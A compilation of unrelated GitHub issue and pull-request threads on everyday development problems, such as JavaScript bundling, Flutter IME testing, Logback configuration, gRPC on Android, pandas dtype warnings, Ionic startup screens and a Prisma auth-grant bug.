How to get user name/email(unique user) from skype

Issue Description
I am using bot framework and i want skype username/email id (e.g xyz.abc1 as login name).
please let us know how to get user information

Is there any API available to get User Information?

Which version of the SDK are you using c# or node?

@JasonSowers : We are using Node JS and how can we check the SDK version.
Currently we are using Skype (personal).
Please suggest

@Hiranmayee24 npm list then find botbuilder on the output and the version number is after the @.
You're probably on 3.11.0

Unfortunately I think there is currently no way to get these items, you only have access to user name and user Id which is a computed value

Basically i want a unique id of the user which i can use to differentiate user activity

Which SDK are you using?  in c# you can get to the user id from Activity.From.Id or Activity.Recipient.Id or from the context context.Activity.From.Id or context.Activity.Recipient.Id.  In node it is something very similar, please take a look at the Activity Schema Note there is also a .name property which some channel populate with the users name that could be useful to you.

@Hiranmayee24 You can try session.message.address.user.id as an unique identifer for each users.


Flawed packaging set up

In relation to the Angular issue, #751, I've taken a look at the bundling set up. Here I'll try to explain the issue, and suggest some potential solutions, for which I'd love feedback on their viability.
I believe the underlying cause of the issue of this ticket is not framework-specific, but an issue with how blockstack.js is packaged.
For context, the current build setup results in two outputs:

build:node: tsc to compile all the individual files into the lib directory
build:webpack: Webpack to output the library as a single bundle, polyfilling all the node specific code etc

Since the main property of the package.json points to lib/index, browser module bundling tools will import the result of the node build, not the web one.
Now, because webpack is probably the most popular bundling tool on the web, a majority of developers can use blockstack.js with its node build without a problem. Webpack handles all the steps required to make it a browser-friendly library.
However, some frameworks, such as Angular, use their own build systems, which don't have the same behaviour (even though it does use webpack internally 🤷 ). The result is a library that just doesn't work. It's rebuilding the library from its compiled source without any of the necessary steps to make it web compatible.
The issue is fixed immediately changing the main property to point to the webpack bundle in dist/blockstack.js instead.
I understand this fix isn't without its flaws, though. There's very little tree shaking that can be done, so you're then required to import the library in its entirety.
Some possible solutions:
1. Deal with it
Make the change above and stomach with the large library size. Encourage developers to import the library dynamically, rather than adding it to their main bundle. We can have a conditional index.js that will point to lib if it's executed in a node environment.
2. Restructure the library to have multiple entry/exit points
Break the library into conceptual smaller bundles that roughly align to the various use cases one might use the lib for.
3. Remove vendor files from the bundle
Make the large vendor files peerDependencies so we remove them from the main bundle.
4. Nothing
Change our documentation to encourage non-webpack users to import the dist bundle directly:
import { UserSession } from "blockstack/dist/blockstack";

Are there other solutions? The fact that @blockstack/connect has blockstack.js as a dependency does kind of exasperate the issue. As there are then no direct imports to this lib, it's handled entirely by their module bundling set up. Rendering 3 and 4 not particularly good solutions.

Temping to go with option 1, at least for now.
The bummer with option 1 is that I don't think the nodejs stream functionality imported by cipher-base / bip39 / bitcoinjs-lib is even used in any of our code paths. We'd be giving up on treeshaking/bundle-size to simply work around packaging for an unused downstream dependency.
I'm curious if typical blockstack.js and @blockstack/connect usage would still work if:

buffer was explicitly imported like this, rather than depending on it being globally polyfilled.
bitcoinjs-lib and bip39 were made peer dependencies.


⚠ Bofrost.es has degraded performance

In 15fd51b, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1714 ms

Resolved: Bofrost.es performance has improved in a004657 after 20 minutes.


Add integration tests for IME input

Our text input integration testing doesn't cover IME-based input such as for Chinese, Japanese, and Korean. At the moment, this is covered by non-platform-specific unit tests.
We should include tests that:

Set the input method to an IME-based input method.
Send a sequence of key events such that are handled by the IME.
Verify the text editing contents, in particular, the composing region.

A few things to test:

Ensure arrow cursor movement is restricted to the composing region when composing (in Chinese/Japanese)
Test composing in Flutter, then switching to a non-Flutter textfield, composing there, and switching back to flutter. See https://github.com/flutter/engine/pull/31879.
Ensure backspace handling is correct while composing.
Ensure Escape key handling is correct.
Verify keyboard navigation of candidates menu is possible (and not captured by Flutter).

/cc @LongCatIsLooong @dkwingsmt @justinmc who may have ideas for other things we should test.

I think @HansMuller has also been interested in setting up this kind of testing for a long time.  I think we'd need to be able to send keyboard interactions at a pretty low level in order to get this to work.
There's also a lot of deltas stuff (CC @Renzo-Olivares) that would be nice to test with this.

Nice job. I can't think of any more for IME, but I wonder how much we've tested for keyboard events. One thing I'm pretty sure we haven't done is to ensure that "the keyboard state is cleared at a hot restart", and possibly "pressing keys at startup".

Basic integration tests against popular CJK IMEs (Samsung keypad/Sogou for example) maybe? The Samsung keyboard used to be frequently broken by framework/engine changes.
Also the framework changing the incoming text editing value (e.g. ,TextInputFormatter) is another thing that has caused a lot of problems in the past.
Not directly related to IME but it would be nice if the same test harness can be used to verify autofill on iOS/Android too.
Is it possible to learn this power? I'll be happy to contribute tests.

Idea from @LongCatIsLooong : What if we write our own custom IME that has some interface to Flutter's testing and sends key events that we ask it to? This probably wouldn't get us all the way there though, because sometimes the IMEs we have trouble with don't behave predictably. We don't know exactly what key events will be sent when working with the Samsung Korean IME sometimes, for example.


fix: pin functionality issue in the comment dropdown menu

PR Fixes: #877

Fixed the issue where the pin functionality was partially working in the dropdown menu of individual comment.

Resolves #877
Checklist before requesting a review

[X] I have performed a self-review of my code
[X] I assure there is no similar/duplicate pull request regarding same issue

you forgot to fix copy button item

Thank you @vijaysingh2219


Display task labels

Todoist tasks can have any number of labels, these should also be displayed with the task.

Merged and will be released in v1.3.


Logback Variable Substitution does not work as expected for <property

Hello,
I want to use the logback variable substitution feature. Unfortunately it does not work as expected.
##Logback.xml
<?xml` version="1.0" encoding="UTF-8"?>
<configuration debug="true">

  <property scope="context" name="ENV" value="${logging.application.environment}" />

    ...
  <appender name="LogzioLogbackAppender" class="io.logz.logback.LogzioLogbackAppender">
    <token>LOGZIO_TOKEN</token>
    <logzioUrl>${logging.logzio.url}</logzioUrl>
    <additionalFields>env=${logging.application.environment}</additionalFields>
    <additionalFields>ENV=${ENV}</additionalFields>
  </appender>

  <root level="info">
    <appender-ref ref="Console"/>
    <if condition='!property("ENV").contains("dev")'>
      <then>
        <appender-ref ref="LogzioLogbackAppender"/>
      </then>
    </if>
  </root>

  <!-- Use shutdownHook so that we can close gracefully and finish the log drain -->
  <shutdownHook class="ch.qos.logback.core.hook.DelayingShutdownHook"/>

</configuration>

When running I saw that the value was "logging.application.environment_IS_UNDEFINED".
I would expect it would say "dev"like the other additional property.

Looks like the problem is https://github.com/quarkiverse/quarkus-logging-logback/blob/main/impl/runtime/src/main/java/io/quarkiverse/logback/runtime/LogbackRecorder.java#L70 index in used instead of j


Regenerate go

Update generated go protos.

/assign pradithya
/assign willem

/lgtm

/approve

Can we automate this in the build? We should never have to remember this

Eg for Go, we could make it regenerate the code and if it differs the merge should be aborted because of uncommitted changes
Python gen code should not be committed, it should be generated before we package wheels

Eg for Go, we could make it regenerate the code and if it differs the merge should be aborted because of uncommitted changes
Python gen code should not be committed, it should be generated before we package wheels

Does this require an issue in itself?


cross compile grpc on android but stuck in pollset_work function

Please answer these questions before submitting your issue.
Should this be an issue in the gRPC issue tracker?
Create new issues for bugs and feature requests. An issue needs to be actionable. General gRPC discussions and usage questions belong to:

grpc.io mailing list
StackOverflow, with grpc tag

Please don't double post your questions in more locations; we are monitoring both channels, and the time spent de-duplicating questions is better spent answering more user questions.
What version of gRPC and what language are you using?
git clone follow  googlesamples/assistant-sdk-cpp  README.md   "git clone -b $(curl -L https://grpc.io/release) https://github.com/grpc/grpc"
What operating system (Linux, Windows, …) and version?
use ubuntu 14.04 as host , and porting  using android-ndk-r15c-linux-x86_64.zip SDK
What runtime / compiler are you using (e.g. python version or version of gcc)
arm-linux-androideabi-gcc (GCC) 4.9.x 20150123 (prerelease)
What did you do?
If possible, provide a recipe for reproducing the error. Try being specific and include code snippets if helpful.
I use ndk r15 standalone toolchain and porting google assistant-sdk-cpp with grpc to android arm platform.
I also port curl and ssl packages to make it works. after got the run_assistant and run on arm android platform, i found it stuck in
std::shared_ptr> stream(std::move(assistant->Converse(&context))); in run_assistant.cc function.
And i keep tracing the source , i found it stuck at " r = grpc_poll_function(pfds, pfd_count, timeout);" in pollset_work() function in ev_poll_posix.c.
Because grpc_poll_function is from the system poll point.
Is this the Android issue, or porting issue ?
What did you expect to see?
to make sure,  is ndk limitation or grpc prting issue ?
What did you see instead?
Make sure you include information that can help us debug (full error message, exception listing, stack trace, logs).
i printf out the message to verify the code running step, i found when it ran here "grpc_poll_function(pfds, pfd_count, timeout);" in pollset_work() function in ev_poll_posix.c."
it will stuck, it will not move on.
Anything else we should know about your project / environment?

Closing as presumably obsolete. We know build C++ for Android as part of our CI


revert(*): revert resource-group, storage-account, appservice-windows and keyvault changes

Description

The goal of this PR is to revert unintended changes in the  following modules:

keyvault
app-service-windows
resource-group
storage-account

Motivation and Context

At the  PR #39, I had my code base outdated and merged old stuff from main branch that changed behaviors previously updated.
How Has This Been Tested?

Please compare the reverted changes with the commit 952ead1
Screenshots
Types of changes

[X] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My code has security implications.
[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.

All the suggestions for storage account were implemented.


feat(vitest): export all reporters in vitest/reporters

Description

close: #3965
Please don't delete this checklist! Before submitting the PR, please make sure you do the following:

[x] It's really useful if your PR references an issue where it is discussed ahead of time. If the feature is substantial or introduces breaking changes without a discussion, PR might be closed.
[x] Ideally, include a test that fails without this PR but passes with it.
[x] Please, don't make changes to pnpm-lock.yaml unless you introduce a new test example.

Tests

[x] Run the tests with pnpm test:ci.

Documentation

[x] If you introduce new functionality, document it. You can run documentation with pnpm run docs command.

Changesets

[x] Changes in changelog are generated from PR name. Please, make sure that it explains your changes in an understandable manner. Please, prefix changeset messages with feat:, fix:, perf:, docs:, or chore:.

You checked a checkbox that documentation is added, but I don't see any new documentation.

You checked a checkbox that documentation is added, but I don't see any new documentation.

Sorry for that, where should I add documentation?

You checked a checkbox that documentation is added, but I don't see any new documentation.

Sorry for that, where should I add documentation?

To the advanced section probably. Something like Extending reporters

@sheremet-va You responded so fast, I haven't done a double-check yet 🤣


bcompare: <IP_ADDRESS>57 -> <IP_ADDRESS>93

Semi-automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/bcompare/versions.
meta.description for bcompare is: "GUI application that allows to quickly and easily compare files and folders"
meta.homepage for bcompare is: "https://www.scootersoftware.com"
meta.changelog for bcompare is: ""
Updates performed

Version update

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found <IP_ADDRESS>93 with grep in /nix/store/1qcwxy1kxsppih8dmvm4m8szripp185q-bcompare-<IP_ADDRESS>93

directory tree listing: https://gist.github.com/b79f7667c0268afe83c39b14dca12b5f

du listing: https://gist.github.com/5754e15d1132ca73c0f56759e37c00bb

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
0 i686-linux rebuild(s)
0 x86_64-darwin rebuild(s)
0 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
bcompare

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/1qcwxy1kxsppih8dmvm4m8szripp185q-bcompare-<IP_ADDRESS>93 \
  --option binary-caches 'https://cache.nixos.org/ https://r-ryantm.cachix.org/' \
  --option trusted-public-keys '
  r-ryantm.cachix.org-1:gkUbLkouDAyvBdpBX0JOdIiD2/DP1ldF3Z3Y6Gqcc4c=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(r-ryantm's Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A bcompare https://github.com/r-ryantm/nixpkgs/archive/3b34f20fb521bc17ec6f357ba9629d9c5fcd200f.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/1qcwxy1kxsppih8dmvm4m8szripp185q-bcompare-<IP_ADDRESS>93
ls -la /nix/store/1qcwxy1kxsppih8dmvm4m8szripp185q-bcompare-<IP_ADDRESS>93/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review 1

1 package built:
- bcompare

Maintainer pings
cc @ktor for testing.

tested the binary '/nix/store/1qcwxy1kxsppih8dmvm4m8szripp185q-bcompare-<IP_ADDRESS>93/bin/bcompare' to work


FutureWarnings when running example 1

Environment: Python 12 env created with conda, dependencies installed with pip install -r requirements.txt
When I run energy_management_experiment.py in example_1, I continuously get the following warnings:
C:\...\pdopt-code\example\example_1\HE_Model.py:324: FutureWarning: Setting an item of incompatible dtype is deprecated and will raise in a future error of pandas. Value '[0.02935453 0.04485256 0.0603506  0.07584864 0.09134668 0.10684472
 0.12234276 0.1378408  0.15333884 0.16883688 0.18433491 0.19983295
 0.21533099 0.23082903 0.24632707 0.26182511 0.27732315 0.29282119
 0.30831923 0.32381726 0.3393153  0.35481334 0.37031138 0.38580942
 0.40130746 0.4168055  0.43230354 0.44780158 0.46329962 0.47879765]' has dtype incompatible with int64, please explicitly cast to a compatible dtype first.
  mission.loc[mission['tag'] == s, 'pDOH'] = tmp
C:\...\pdopt-code\example\example_1\HE_Model.py:324: FutureWarning: Setting an item of incompatible dtype is deprecated and will raise in a future error of pandas. Value '[0.24989405 0.24987103 0.24984757 0.24982366 0.24979927 0.24977438
 0.24974898 0.24972304 0.24969653 0.24966944 0.24964174 0.24961339
 0.24958437 0.24955465 0.24952418 0.24949293 0.24946086 0.24942793
 0.24939408 0.24935926 0.24932342 0.24928649 0.24924841 0.24920909
 0.24916847 0.24912644 0.24908291 0.24903776 0.24899086 0.24894209
 0.24889128]' has dtype incompatible with int64, please explicitly cast to a compatible dtype first.
  mission.loc[mission['tag'] == s, 'pDOH'] = tmp

The env has pandas 2.1.4 installed.
Part of JOSS submission

I am also getting this future warning, e.g. from example 1
pdopt-code/example/example_1/HE_Model.py:324: FutureWarning: Setting an item of incompatible dtype is deprecated and will raise an error in a future version of pandas. Value '[0.21654579 0.22007194 0.2235981  0.22712425 0.2306504  0.23417656
 0.23770271 0.24122887 0.24475502 0.24828118 0.25180733 0.25533348
 0.25885964 0.26238579 0.26591195 0.2694381  0.27296426 0.27649041
 0.28001656 0.28354272 0.28706887 0.29059503 0.29412118 0.29764734
 0.30117349 0.30469965 0.3082258  0.31175195 0.31527811 0.31880426]' has dtype incompatible with int64, please explicitly cast to a compatible dtype first.

and example 2
pdopt-code/example/example_2/HE_Model.py:324: FutureWarning: Setting an item of incompatible dtype is deprecated and will raise an error in a future version of pandas. Value '[0.0958239  0.09273458 0.08964526 0.08655594 0.08346662 0.08037729
 0.07728797 0.07419865 0.07110933 0.06802001 0.06493069 0.06184137
 0.05875204 0.05566272 0.0525734  0.04948408 0.04639476 0.04330544
 0.04021611 0.03712679 0.03403747 0.03094815 0.02785883 0.02476951
 0.02168019 0.01859086 0.01550154 0.01241222 0.0093229  0.00623358]' has dtype incompatible with int64, please explicitly cast to a compatible dtype first.
  mission.loc[mission['tag'] == s, 'pDOH'] = tmp

Running

Ubuntu 23.10
Python 3.11.6
Pandas 2.2.0

Dear @jbussemaker @e-dub
I ran the code on a fresh installation and had the same FutureWarning issue.
It stems from when the file mission.csv is loaded in the code at line 336 of HE_model.py: https://github.com/spinjet/pdopt-code/blob/d2bf7d21ed99f6790ab0c4ec7ca927a0e4a6cc6b/example/example_1/HE_Model.py#L335
In the .csv file the column pDOH only contains zeros, hence Pandas interpreted it as a int64 type. As the degree of hybridisation is then defined in the function generate_doh, this is replaced with a float value from 0 to 1. It seems in previous versions of Pandas this recast didn't throw any Warnings, hence I never noticed it.
This has now been fiixed by ensuring the dtype of the pDOH column in the dataframe is set to float when the energy management strategy is created (see in https://github.com/spinjet/pdopt-code/blob/31f65670a6fa449833f975c7cba305950c74c2ad/example/example_1/HE_Model.py#L330):
   mission.loc[mission['tag'] == s, 'pDOH'] = None
   mission.loc[mission['tag'] == s, 'pDOH'] = tmp.astype(float)

I also took the opportunity to do a bit of linting in the example files.


White screen Ionic 3

the same problem in ionic 3 and I try more  solution and white screen is hidden but splash screen it take 30 s it's a long time and when the app in background and press again in app icon withe screen appear again ... what can i do can you help me .
// this ionic info for me thanks .
cli packages: *\node_modules)
@ionic/cli-utils  : 1.12.0
ionic (Ionic CLI) : 3.12.0

global packages:
cordova (Cordova CLI) : 7.0.1

local packages:
@ionic/app-scripts : 2.1.4
Cordova Platforms  : android 6.0.0
Ionic Framework    : ionic-angular 3.6.1

System:
Android SDK Tools : 25.2.5
Node              : v6.9.2
npm               : 3.10.9
OS                : Windows 10

Misc:
backend : legacy

Hello! Thank you for opening an issue with us! Would you be able to provide a sample application via GitHub that demonstrates the issue you are having?
Also, does this only happen on the device? or are you seeing this when running in the browser via ionic serve as well?
Thanks for using Ionic!

This issue happens with any ionic app in debug mode but when I used flag
--prod everything will be ok.
This issue appears with IONIC 2 until now I am read all topics related to
the white screen.
Thanks for attention.
On 24 September 2017 at 13:36, Ken Sodemann<EMAIL_ADDRESS>wrote:

Hello! Thank you for opening an issue with us! Would you be able to
provide a sample application via GitHub that demonstrates the issue you are
having?
Also, does this only happen on the device? or are you seeing this when
running in the browser via ionic serve as well?
Thanks for using Ionic!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/ionic-team/ionic/issues/12960#issuecomment-331704135,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AGU7R2IKBxQ7iXxuuBy3xO8bwrd_aXdNks5slj7IgaJpZM4Ph2aD
.

Can you provide a sample application demonstrating this issue? Preferably via GitHub. This would be very helpful in assessing where the issue lies and in providing a resolution.

Have you been able to create a sample application I can look at that demonstrates the issue you are having?

@kensodemann steps to reproduce the issue:

clone https://github.com/ionic-team/ionic-conference-app.
execute: cordova build android --prod
install the apk on a device with android 4.4.4 (I tested it Genymotion)

@kensodemann I found realized that if you compile the app with the --aot and --minifyjs flags the apk goes well, but if you add --minifycss flag you see the white screen.

@niconaso - that sounds like an app-scripts bug, would you like to log an issue here: https://github.com/ionic-team/ionic-app-scripts ?
It also seems to be the opposite of what @Eng-MohamedGadala was seeing where the white screen only occurred in development mode.
@Eng-MohamedGadala - I am closing this issue due to lack of activity on it. If you can provide a sample app we can use for debugging, I will be happy to reopen it. Right now, however, I cannot duplicate the issue as you reported it.

Same problem here,
in a basic ionic project without any modifications
It seems that you send the latest Ionic version to production without testing
Bad job Ionic team !!!!!

@marwan2 - I have several test and sample applications I have written for various purposes and they all run just fine on my Android devices. Do you have some more information on how this is not working for you? Is there a specific version of Android you are targetting where it doesn't work? Can you provide your ionic info output here?
Do you get any error messages if you hook up remote debugging while running the application on your device?

@kensodemann , Please clone this ionic 3 project I developed.
https://github.com/marwan2/merjan_app
It works properly on Desktop browser, but after generating APK, and run on android mobile,
Just a White screen after the splash screen.

??

I have been out and have not had a chance to try your app on an Android device until today.
When I used your app to generate an APK and run it on my Android device, it ran. There was about a 3-5 second delay between the start, but it got past that. If your device is not as performant as mine, it may take longer. This is part of what v4 is meant to address.
On my iOS device, the application ran fine.
When running on either device and connecting either safari or chrome to the app and running dev-tools, the dev-tools crash. On iOS/Safari this happens immediately, on Android/Chrome this occurs if I have the performance tab open in dev tools and try restarting the application on the device to analyze the boot time. I am not sure what that indicates, but your code is doing something that the dev-tools do not like. Not sure if it is a specific plugin, or if it has something to do with RTL, or what. I just know that I have not seen that before.
I have not had time to try and convert your application to use lazy loading, but that may increase performance.

I have the same problem

+1

Same problem, but not on all devices. We've got reports on:

Samsung J500FN - Android 5.1.1
Samsung J320FN - Android 5.1.1
Motorola Moto G - Android 6.0
But it's working on other Android 5.1.1 and 6.0 devices.

Ionic info:
cli packages:

    @ionic/cli-utils  : 1.19.2
    ionic (Ionic CLI) : 3.20.0

global packages:

    cordova (Cordova CLI) : 8.0.0

local packages:

    @ionic/app-scripts : 3.1.8
    Cordova Platforms  : android 6.3.0 ios 4.5.4
    Ionic Framework    : ionic-angular 3.9.2

System:

    Android SDK Tools : 26.1.1
    Node              : v8.9.1
    npm               : 5.5.1
    OS                : Linux 4.4


Feature/style improvements

Some minor style improvements.

devise-i18n-views has been merged into devise-i18n. You should stop using devise-i18n-views and start using devise-i18n 1.0.0 or later. There will be no further releases of devise-i18n-views.


Address slow copy performance when using the FileAccessFilesystemJAndroid implementation

Read/write ops for this implementation are done through the java layer via jni, and so for good performance, it's key to avoid numerous repeated small read/write ops due the jni overhead.
The alternative is to allocate a (conversatively-sized) large buffer to reduce the number of read/write ops over the jni boundary.
Fixes https://github.com/godotengine/godot/issues/62969

Thanks!


HTTP Error 403: request disallowed by robots.txt

Running in python venv (MacOS) Python 2.7.16
Installed packages in venv:
splinter==0.11.0
zope.testbrowser==5.3.3
lxml==4.3.4
cssselect==1.0.3
mechanize==0.4.2

from splinter import Browser

jenkins_url = 'some value here'

browser = Browser('zope.testbrowser')
browser.visit(jenkins_url)

getting back:
Traceback (most recent call last):
  File "jenkins_test.py", line 9, in <module>
    browser.visit(jenkins_url)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/splinter/driver/zopetestbrowser.py", line 81, in visit
    self._browser.open(url)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/zope/testbrowser/browser.py", line 252, in open
    self._processRequest(url, make_request)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/zope/testbrowser/browser.py", line 276, in _processRequest
    resp = make_request(reqargs)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/zope/testbrowser/browser.py", line 250, in make_request
    return self.testapp.get(url, **args)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/webtest/app.py", line 335, in get
    expect_errors=expect_errors)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/zope/testbrowser/browser.py", line 92, in do_request
    self._assertAllowed(req.url)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/zope/testbrowser/browser.py", line 89, in _assertAllowed
    raise RobotExclusionError(url, 403, msg, [], None)
zope.testbrowser.browser.RobotExclusionError: HTTP Error 403: request disallowed by robots.txt

What am I doing wrong ?
Tried to follow this docs here https://splinter.readthedocs.io/en/latest/drivers/zope.testbrowser.html
but  ignore_robots=True doesn't help:
Traceback (most recent call last):
  File "jenkins_test.py", line 8, in <module>
    browser = Browser('zope.testbrowser', ignore_robots=True)
  File "/Users/homedir/Documents/Jenkins_Test/venv/lib/python2.7/site-packages/splinter/browser.py", line 64, in Browser
    return driver(*args, **kwargs)
TypeError: __init__() got an unexpected keyword argument 'ignore_robots'

looks like it was removed here: https://github.com/cobrateam/splinter/commit/a7cbbf9efd6f987779eaad90f8af2d9758a42b1e
no clue why. @andrewsmedina was the author so may be able to shed some light

This was removed on zope.testbrowser upgrade. I believe that we should figure out how to fix it using the current version of this driver.

Just tried a simple workaround, which overrides _assertAllowed method to by-pass checking agains zope.testbrowser.browser._allowed, here's the code:
import splinter.driver.zopetestbrowser

def pass_assert_allowed(*args):
    return

b = splinter.browser.ZopeTestBrowser()
b._browser.testapp._assertAllowed = pass_assert_allowed

Now can visit any URL without request disallowed error.
But frankly zope.testbrowser cannot handle lots of site well, visit probably still failed for other reason. Personally speaking, firefox or chrome is better choice.


#369 allow the user override settings in web.config app settings

using the defined appsetting format the user can override the settings, useful for deployments to Azure etc
e.g. to override the storage hostname the following app setting key would be used
<add key="ImageProcessor.CloudImageService.Host" value="myimageblobstorage.blob.core.windows.net">

This looks like an interesting way to solve the problem. I wonder if we can (and should) expand upon it to allow overriding other configuration values?
Also, I personally use config transforms during my build process to change settings, is that something you have attempted or considered?

@JimBobSquarePants I use config transforms in my project to customize these settings per environment/tenant. However, it would be also good to have an enhancement like this to allow the settings to be defined on AppSettings and thus deployed using Azure templating.
Similarly to what was done here for the caching configuration https://github.com/JimBobSquarePants/ImageProcessor/pull/435

@JimBobSquarePants config transforms wont work for azure slot swapping - we can only set slot specific settings in appsettings

This will need expanded upon and completed then.

I'll have a look today at what is involved in implementing the other settings.

@joebyrne Great, thanks! 👍

I have pushed changes to allow settings from cache, security or processing config files be managed from web.config / deployment slot app settings. A future update might also be to allow other settings such as whitelists be configured also.

Thanks @joebyrne I'll have a good look asap at your changes.

@joebyrne Please ignore the bot; I will get round to this eventually!

@joebyrne @JimBobSquarePants any thoughts about when this commit is getting merged to Master + NuGet? I think this is a feature that more people would like to see.

It’s been released for years.


Download and install NLP models using cli

Proposed changes

Implement command in the cli that downloads and installs NLP models based on language and version.
Added a class called Model_Installer that can download and install listed modules in file config/language_releases.yaml
Added config/language_releases.yaml file that contains the information needed to download and install NLP models.

How Has This Been Tested?
Please describe the tests that you ran to verify your changes. Provide instructions so we can reproduce.

[x] Start cli and input install or i. Expect to be prompted with a list of languages, choose one.
Then the user should be prompted with a list of version, choose one.
Then the cli will install all the models automatically using pip and python. Now the newly installed models should be listed when the command language or lang is run in the cli.
[x] Run the reminder demo, Expect the normal result.

Related issue
closes #65
related #118

lgtm


Spelling mistakes in man pages

In version 3.03
In the man page for TESSERACT(1) under the title Languages the following items are misspelt.
"Croation" should be "Croatian" (https://en.wikipedia.org/wiki/Croatian_language)
"Slovakian" should be "Slovak" (https://en.wikipedia.org/wiki/Slovak_language)

Please check the source before writing issue.
BTW: current version is 3.04.01.


Grant target "*" for management auth token does not work

Describe the bug
Using a grant with a target: "*" in the management auth jwt throws an "Authentication token is invalid: Contained invalid grant 'Vector(*)'" error
To Reproduce
Steps to reproduce the behavior:

Deploy Prisma with a managementApiSecret (ex: my-secret-42)
Go to the Playground
Add an Authorization header with a jwt with the following payload:

{
  "grants": [
    {
      "target": "*",
      "action": "*"
    }
  ],
  "iat":<PHONE_NUMBER>,
  "exp":<PHONE_NUMBER>
}

Source: https://www.prisma.io/docs/run-prisma-server/authentication-and-security-kke4/
4. Run the following query:
{
  listProjects: {
    name
    stage
  }
}

See the following error:

{
  "data": null,
  "errors": [
    {
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ],
      "path": [
        "listProjects"
      ],
      "code": 3015,
      "message": "Authentication token is invalid: Contained invalid grant 'Vector(*)'",
      "requestId": "local:management:cjm921wbu05dq0900q5h4v3io"
    }
  ]
}

Expected behavior
There should be no errors, and I should see the list of projects linked to my Prisma instance.
Versions:

Prisma Server: 1.16

Additional context
Here what I think is the problem:
AsymmetricManagementAuth.scala#L46:
  private def verifyGrant(nameToCheck: String, stageToCheck: String, grant: TokenGrant): Boolean = {
    val (grantedName: String, grantedStage: String) = grant.target.split("/").toVector match {
      case Vector(service, stage) => (service, stage)
      case invalid                => throw InvalidToken(s"Contained invalid grant '$invalid'")
    }

    if (grantedName == "" || grantedStage == "") {
      throw InvalidToken(s"Both service and stage must be defined in grant '$grant'")
    }

    validate(nameToCheck, grantedName) && validate(stageToCheck, grantedStage)
  }

  private def validate(toValidate: String, granted: String): Boolean = granted match {
    case "*" => true
    case str => toValidate == str
  }

Looking at the verifyGrant method, we see that we need to have a target which contains a /. Then, in the validate method, we compare with "*" to allow or not the grant.
This means one of those things:

Either we must use the format: target: "*/*" to allow every services/stages, and therefore we must change the documentation to reflect that,
Or, we must fix this file in order to allow the target: "*" format

What should be the solution ?

I just created the PR. Using target: "*/*" works for me 👍

Thanks so much for your contribution 🙏 💚


Update tomcat.md

Update latest versions of Tomcat 8, 9 and 10

I see 10.0.23, and 9.0.65 here: https://github.com/apache/tomcat/tags

I setup automatic updates for tomcat in #1412 (See data at https://github.com/endoflife-date/release-data/blob/main/releases/tomcat.json), this will get automatically updated in a few hours.

Build is failing due to some recent changes in the pipeline. Will close this once the auto-update runs.

I see 10.0.23, and 9.0.65 here: https://github.com/apache/tomcat/tags

Interesting.  Announcements for those releases do no appear on the Tomcat main page and the download pages list the versions I referenced as the most recent version.
https://tomcat.apache.org/
https://tomcat.apache.org/download-10.cgi
https://tomcat.apache.org/download-90.cgi

Got updated with #1415. I will check on the tag/news disparity as well.

It looks like the delay is because of the voting process followed by tomcat - the release is still pending a vote. Arch seems to have packaged it already, so it might be an open risk.
I've sent a mail to the dev mailing list for clarification.


parse error in misc.zsh

/home/vagrant/.oh-my-zsh/lib/misc.zsh:3: parse error near `then'

This is reported in #3986 and fixed in #4002, thanks!

Also have this issue :)
btw keep up the good work

Please check everything with shellcheck before releasing/merging.
➜  ~  shellcheck /home/mishak/.oh-my-zsh/lib/misc.zsh

In /home/mishak/.oh-my-zsh/lib/misc.zsh line 3:
	if [[ -e "$d/url-quote-magic"]]; then
        ^-- SC1009: The mentioned parser error was in this if expression.
           ^-- SC1073: Couldn't parse this test expression.
                                       ^-- SC1020: You need a space before the ]].
                                       ^-- SC1072: Unexpected ";". Fix any mentioned problems and try again.


CTX Entry Detail Record. Addenda Record Indicator doesn't match standard

In standard https://secureinstantpayments.com/sip/help/interface_specs/external/NACHA_format.pdf page 11 "CTX Entry Detail Record", field "Addenda Record Indicator" described as:
If there is no addenda accompanying this transaction enter “0”. If addenda is accompanying the transaction enter “1”.
However in version <IP_ADDRESS> it is overridden to be "1" only. Because of this validation of document is failing if record doesn't have addenda.

@cziberpv
fixed in <IP_ADDRESS>


Add aria-expanded for accessibility

Hello!
To implement the disclosure pattern, that would be nice to be able to add the aria-expanded property.
We can do something similar to https://github.com/luukdv/hamburger-react/pull/15.
I'd be happy to send a PR if you're okay with this feature :)
Thanks!

Thanks for the suggestion!
I'd happily accept a PR. I wouldn't introduce a prop like in https://github.com/luukdv/hamburger-react/pull/15, just setting the value to true/false based on the toggled state.


Fix: DO-2905: Migrate all components to Floating UI, fix rerenders, remove popper dependency

